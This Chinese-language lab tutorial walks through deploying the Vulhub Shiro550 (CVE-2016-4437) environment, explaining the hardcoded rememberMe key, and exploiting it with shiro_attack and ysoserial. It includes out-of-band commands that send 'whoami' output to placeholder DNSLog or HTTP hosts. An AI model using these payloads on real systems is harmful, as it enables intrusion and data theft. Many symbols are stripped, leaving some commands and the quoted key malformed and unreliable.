10分钟Docker部署Shiro550漏洞靶场:从原理到实战利用
1. 项目概述与核心价值最近在整理内部安全演练的靶场环境Shiro550这个“老熟人”又被我翻了出来。说它老是因为这个基于Apache Shiro框架的反序列化漏洞CVE-2016-4437从2016年曝光至今依然是企业安全测试和红蓝对抗中的高频考点。说它熟是因为其利用链清晰、影响范围广几乎成了Web安全入门必刷的漏洞之一。但很多朋友在初次复现时往往卡在环境搭建这一步——本地配Java环境、下载特定版本的Shiro、编译打包war包一套流程下来半天时间就没了还容易因为版本兼容性问题导致漏洞触发失败。这正是我这次想分享的核心如何用Docker和Vulhub在10分钟内搭建一个稳定、可复现的Shiro550漏洞环境并完成从漏洞检测到命令执行的全流程验证。这个方法最大的优势在于“开箱即用”和“环境隔离”。你不需要关心底层Java版本、Shiro的依赖库甚至不需要一台纯净的Linux服务器只要你手头有一台能运行Docker的电脑Windows/macOS/Linux均可就能快速拥有一个包含漏洞的、完整的Web应用靶场。对于安全研究员、渗透测试工程师甚至是开发人员想了解自身项目风险这套方法都能极大地提升效率。整个流程我会拆解为四个核心部分首先是Docker与Vulhub靶场环境的快速部署这是所有复现工作的基石接着深入Shiro550漏洞的原理理解为什么“记住我RememberMe”这个功能会成为突破口然后我们会使用两款主流的工具shiro_attack和ysoserial进行漏洞的检测与利用最后我会分享几个实战中踩过的坑和排查技巧比如密钥的碰撞、DNSLog的灵活使用以及高版本JDK下的利用限制。目标很简单让你不仅能“照做”更能“看懂”下次遇到类似问题能自己举一反三。2. 环境准备Docker与Vulhub靶场部署2.1 Docker环境安装与基础配置工欲善其事必先利其器。我们所有操作都基于Docker因此第一步是确保你的机器上安装了Docker Engine。这里以最常见的Ubuntu 20.04 LTS系统为例其他系统如CentOS、Windows Docker Desktop的安装思路类似主要是包管理工具和安装命令的差异。安装Docker CE社区版Docker官方提供了非常便捷的安装脚本但为了稳定性和可控性我通常推荐使用APT仓库安装。# 1. 更新apt包索引并安装必要的依赖 sudo apt-get update sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 2. 添加Docker官方GPG密钥和稳定版仓库 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable # 3. 再次更新并安装Docker CE sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io # 4. 验证安装运行hello-world镜像 sudo docker run hello-world如果看到“Hello from Docker!”的输出说明Docker引擎安装成功并可以正常运行容器。注意为了避免每次执行docker命令都需要sudo可以将当前用户加入docker用户组。执行sudo usermod -aG docker $USER后需要注销并重新登录系统或者新开一个终端会话该设置才会生效。这是一个重要的安全与便捷性平衡点。配置Docker镜像加速器由于Docker Hub的服务器在国外直接拉取镜像速度可能很慢甚至失败。配置国内镜像加速器是必做操作。这里以阿里云镜像加速器为例需要注册阿里云账号获取专属加速地址。# 编辑或创建Docker守护进程配置文件 sudo tee /etc/docker/daemon.json -EOF { registry-mirrors: [https://your_mirror.mirror.aliyuncs.com] } EOF # 重新加载配置并重启Docker服务 sudo systemctl daemon-reload sudo systemctl restart docker替换your_mirror.mirror.aliyuncs.com为你从阿里云容器镜像服务控制台获取的专属加速器地址。配置完成后使用docker info命令在输出末尾如果能看到你配置的镜像地址说明加速器已生效。2.2 Vulhub靶场部署与漏洞环境启动Vulhub是一个基于Docker-Compose的预构建漏洞环境集合它为我们提供了上百个漏洞的“一键式”复现环境Shiro550就在其中。它的工作方式是每个漏洞目录下都有一个docker-compose.yml文件定义了运行该漏洞应用所需的所有服务如Web服务器、数据库等及其配置。获取Vulhub项目直接从GitHub克隆是最简单的方式。# 使用git克隆项目到本地如果网速慢可以考虑使用Gitee的镜像 git clone https://github.com/vulhub/vulhub.git cd vulhub进入vulhub目录后你会看到按漏洞类型或组件分类的众多子目录。定位并启动Shiro550环境Shiro550的环境位于shiro目录下的CVE-2016-4437子目录中。# 进入Shiro550漏洞目录 cd shiro/CVE-2016-4437 # 使用docker-compose拉取镜像并启动环境 sudo docker-compose up -d执行docker-compose up -d命令后Docker会执行以下操作读取当前目录下的docker-compose.yml文件。从配置的镜像仓库默认为Docker Hub拉取vulhub/shiro:1.2.4这个预先构建好的漏洞镜像。根据配置将容器内部的8080端口映射到宿主机的8080端口。以后台-d参数模式启动容器。验证环境启动完成后使用docker-compose ps命令可以查看容器状态应该显示为Up。此时在浏览器中访问http://your_server_ip:8080本地环境可访问http://127.0.0.1:8080如果能看到一个简单的登录页面通常有Apache Shiro的标识说明漏洞环境已经成功运行。实操心得第一次启动时因为要拉取镜像速度取决于你的网络。如果长时间卡住请务必检查上一步的镜像加速器是否配置正确。另外docker-compose命令可能需要单独安装sudo apt install docker-compose但在较新版本的Docker Desktop或Docker Engine中docker compose没有横杠作为插件已内置两者功能等效可以尝试使用docker compose up -d。3. 漏洞原理深度解析为什么RememberMe是突破口在开始利用之前我们必须搞清楚Shiro550到底是怎么回事。知其然更要知其所以然这能帮助你在工具失效时自己分析问题所在。Apache Shiro是一个强大的Java安全框架提供了认证、授权、加密和会话管理等功能。其中“记住我RememberMe”是一个非常用户友好的特性用户登录一次后即使关闭浏览器再打开也无需重新输入密码即可保持登录状态。这个功能的实现就依赖于一个名为rememberMe的Cookie。漏洞产生的核心链条序列化与加密当用户勾选“记住我”并成功登录后Shiro会将用户的身份信息Principal序列化成Java对象然后使用一个固定的、硬编码的AES加密密钥在Shiro 1.2.4及之前版本中密钥是kPHbIxk5D2deZiIxcaaaA对这个序列化后的字节流进行AES-CBC加密最后做Base64编码存入rememberMeCookie发送给浏览器。反序列化与解密当用户再次访问网站时浏览器会携带这个Cookie。Shiro服务端收到后会对其进行Base64解码、AES解密然后将解密后的字节流进行反序列化还原成Java对象从而恢复用户的登录状态。致命缺陷这里存在两个致命问题。第一默认密钥是硬编码的且公开可查。攻击者如果知道了密钥就能伪造任意的rememberMeCookie。第二Shiro在反序列化前没有对解密后的数据做任何白名单或安全校验。这意味着攻击者可以构造一个恶意的序列化数据包含能够执行任意代码的“利用链”即Gadget Chain用已知的密钥加密后发送给服务器。服务器会忠实地解密并反序列化这个恶意数据从而触发远程代码执行RCE。为什么叫Shiro550这个编号来源于漏洞作者phith0n在知识库wiki中给予的临时编号后来被社区广泛接受并沿用下来成为了这个漏洞的代称。核心要点整个漏洞利用的前提是获取到目标Shiro使用的AES密钥。由于早期版本使用默认密钥因此存在大量通用性攻击。后续版本虽然允许开发者自定义密钥但很多开发人员并未修改或者使用了弱密钥导致漏洞依然广泛存在。我们的复现环境使用的正是存在硬编码默认密钥的Shiro 1.2.4版本。4. 漏洞检测与利用实战环境就绪原理清晰接下来就是实战环节。我们将分两步走先检测漏洞是否存在以及获取密钥再利用获取到的密钥执行命令。4.1 漏洞检测与密钥碰撞在真正投递利用载荷之前我们需要确认目标是否存在Shiro框架以及其使用的AES密钥是什么。这里我推荐使用shiro_attack这款工具它集成了检测、密钥爆破、利用于一体图形化界面操作起来非常方便。工具准备你可以从GitHub发布页下载shiro_attack的jar包。确保你的机器安装了Java运行环境JRE 8或以上。# 示例运行工具假设jar包名为shiro_attack-2.2.jar java -jar shiro_attack-2.2.jar检测流程目标设置在工具界面输入目标URL例如http://192.168.1.100:8080。端口号一定要正确。发送检测请求点击“检测”或类似按钮。工具会向目标发送一个特殊的请求通过分析响应头中是否包含rememberMedeleteMe字段来判断Shiro框架的存在。这是因为Shiro在遇到无效或过期的RememberMe Cookie时会尝试删除它并在响应头中设置此字段。这是一个非常可靠的指纹特征。密钥爆破碰撞如果检测到Shiro下一步就是爆破密钥。工具内置了一个常见的密钥字典包含默认密钥kPHbIxk5D2deZiIxcaaaA以及许多其他常见弱密钥。点击“爆破密钥”或“开始检测”工具会使用字典中的每个密钥尝试加密一个固定的序列化数据并将其作为Cookie发送。如果服务器返回的响应与使用错误密钥时的响应不同例如没有返回deleteMe或者状态码、响应体长度发生变化则说明当前尝试的密钥很可能是正确的。结果判断爆破成功后工具会列出所有可能的密钥。在我们的Vulhub环境中应该会成功爆出kPHbIxk5D2deZiIxcaaaA。注意事项密钥爆破的成功率取决于你的字典质量。在实际渗透测试中如果内置字典无效可能需要结合信息收集如源码泄露、配置文件泄露来扩充字典。此外高频的爆破请求可能会触发目标系统的WAF或风控规则需要调整请求间隔或使用代理。4.2 构造利用载荷与命令执行拿到密钥后我们就可以构造恶意的反序列化载荷了。Java反序列化漏洞的利用依赖于一条能够从ObjectInputStream.readObject()方法触发到最终危险操作如执行命令的调用链。最经典的通用链之一就是CommonsCollections链CC链。利用工具链我们将使用ysoserial这个神器来生成CC链的Payload并结合shiro_attack或BurpSuite进行投递。生成Payloadysoserial是一个Java反序列化利用框架需要自行编译或下载release的jar包。假设我们想执行命令touch /tmp/success在/tmp目录下创建一个名为success的文件作为命令执行成功的标志。# 使用ysoserial生成CommonsCollections2链的Payload命令为touch /tmp/success java -jar ysoserial.jar CommonsCollections2 touch /tmp/success payload.ser这条命令会生成一个包含恶意序列化对象的二进制文件payload.ser。加密与投递生成了Payload我们需要用之前获取到的AES密钥对其进行加密和Base64编码然后将其作为rememberMeCookie的值发送。方法一使用shiro_attack工具。在密钥爆破成功的界面通常会有“利用”或“执行命令”的选项卡。你只需要输入正确的密钥和要执行的命令如touch /tmp/success选择对应的利用链如CommonsCollections2工具会自动完成Payload生成、加密、编码和发送的全过程。这是最便捷的方式。方法二手动使用Python脚本。如果你想更深入地理解过程可以编写或使用现成的Python脚本。核心步骤是读取payload.ser- 用AES-CBC模式加密密钥和IV - Base64编码 - 构造HTTP请求并设置Cookie。网上有很多这样的PoC脚本可供参考。验证执行结果发送Payload后如何验证命令是否执行成功对于Vulhub靶场我们可以直接进入运行靶场的Docker容器内部查看。# 首先查看运行中的容器ID sudo docker ps # 假设容器ID是 abc123进入容器的shell sudo docker exec -it abc123 /bin/bash # 进入容器后检查文件是否创建成功 ls -la /tmp/success如果看到/tmp/success这个文件恭喜你漏洞利用成功对于真实环境通常无法直接登录服务器查看。这时就需要使用带外OOB通信技术如DNSLog、HTTPLog来接收命令执行的回显。例如执行命令curl http://your-dnslog-domain/$(whoami)通过查看DNSLog平台是否有来自目标服务器的解析记录来间接判断命令执行和获取输出。5. 进阶利用技巧与深度排查指南掌握了基础利用后我们来看看实战中可能遇到的复杂情况以及如何应对。5.1 密钥的获取与拓展如果内置字典爆破失败怎么办信息收集仔细搜集目标资产。检查GitHub、GitLab等代码托管平台是否有目标源码泄露在源码中搜索cipherKey、setCipherKey等关键字。检查网站备份文件、配置文件如shiro.ini,application.yml,application.properties。密钥特征Shiro的AES密钥是Base64编码的原始长度通常是16字节128位、24字节192位或32字节256位。爆破时可以针对这个特征生成字典。利用其他漏洞如果存在任意文件读取、目录遍历等漏洞可以尝试读取Web应用目录下的配置文件。5.2 利用链的选择与兼容性并非所有CC链都能通杀。不同版本的Shiro所依赖的第三方库如Commons-Collections版本不同服务器JDK版本也不同这会影响利用链的成功率。常见链与适用环境CommonsCollections1: 适用于Commons-Collections 3.1版本在JDK 8u71以下版本中较稳定。CommonsCollections2: 使用了TemplatesImpl对CC库版本要求较宽3.2.1, 4.0但在高版本JDK8u76下可能因SecurityManager或模块化限制失效。CommonsCollections3/4/5/6/7: 是CC1链的各种变体用于绕过某些限制。CommonsBeanutils1/2: 不依赖CC库依赖BeanUtils在某些环境中是CC链的良好替代。策略在工具中依次尝试不同的链。shiro_attack等工具通常会按成功率自动排序尝试。手动测试时可以优先尝试CC2、CB1链。5.3 无回显命令执行与OOB利用在高安全环境下命令执行可能没有直接回显页面无变化。此时必须借助外部通道。DNSLog这是最常用的方式。平台如ceye.io,dnslog.cn提供临时域名。执行命令如ping -c 1whoami.your-domain.dnslog.cn。命令执行时whoami的结果会作为子域名的一部分发起DNS查询你在平台就能看到解析记录和子域名信息从而获取命令输出。HTTPLog类似DNSLog执行curl http://your-http-log-server/?cmdwhoami通过HTTP请求将结果带出。延时注入通过命令执行sleep 5然后观察请求响应时间是否有明显延迟来判断命令是否执行。这种方式比较隐蔽但无法获取输出。5.4 常见问题排查实录在复现过程中你可能会遇到以下问题这里是我的排查思路问题1工具检测到了Shiro但密钥爆破始终失败。检查点1确认目标URL和端口是否正确服务是否正常运行。检查点2使用BurpSuite拦截工具发送的爆破请求观察Cookie的构造是否正确。手动使用Python脚本和默认密钥加密一个简单Payload发送看响应是否不同。检查点3目标可能使用了自定义的Cookie名称而非默认的rememberMe。尝试信息收集或使用Burp扫描历史记录查找其他可疑Cookie。检查点4目标Shiro版本可能较高修复了漏洞但Shiro550的修复方式是更换密钥漏洞原理本身在开启RememberMe时仍存在只是密钥未知。问题2密钥爆破成功但执行命令无反应容器内未创建文件。检查点1JDK版本问题。这是最常见的原因。高版本JDK如8u251以上内置了更严格的反序列化过滤器可能屏蔽了某些利用链。进入容器检查JDK版本java -version。Vulhub的Shiro550镜像通常使用较旧的JDK但你的实际环境可能不同。尝试更换利用链如从CC2换成CB1。检查点2命令执行上下文权限问题。Web应用可能以低权限用户如nobody,www-data运行没有在/tmp目录的写权限。尝试执行id或whoami命令查看权限或换一个可写的目录如/dev/shm。检查点3Payload生成问题。确保ysoserial的版本与目标环境兼容。尝试生成一个最简单的Payload如执行echo test并用DNSLog验证。问题3使用DNSLog接收不到请求。检查点1目标服务器可能无法访问外网无公网IP或出站流量被防火墙禁止。检查点2目标服务器禁用了ping、curl、wget等命令。尝试使用其他方式如nslookupWindows或digLinux或者使用纯Java的OOB利用方式需要更复杂的Payload。检查点3DNSLog平台域名可能被目标网络策略屏蔽。可以尝试搭建自己的DNSLog服务器。问题4Docker容器启动失败或端口冲突。检查点1宿主机的8080端口可能已被其他程序占用。使用netstat -tulnp | grep 8080查看。可以在docker-compose.yml文件中修改端口映射例如将8080:8080改为8081:8080然后通过http://ip:8081访问。检查点2镜像拉取失败。检查Docker服务状态和网络确认镜像加速器配置正确。可以尝试手动拉取镜像docker pull vulhub/shiro:1.2.4。整个复现过程从环境搭建到成功执行命令本质上是一次对漏洞原理、工具链和排查能力的综合演练。我建议你在自己的实验环境中多操作几遍尝试更换不同的利用链、执行不同的命令、甚至尝试修改Vulhub环境中的Shiro版本或密钥来加深理解。记住在合规授权的前提下进行测试是唯一的原则将这些知识用于加固你负责的系统才是安全研究的最终价值。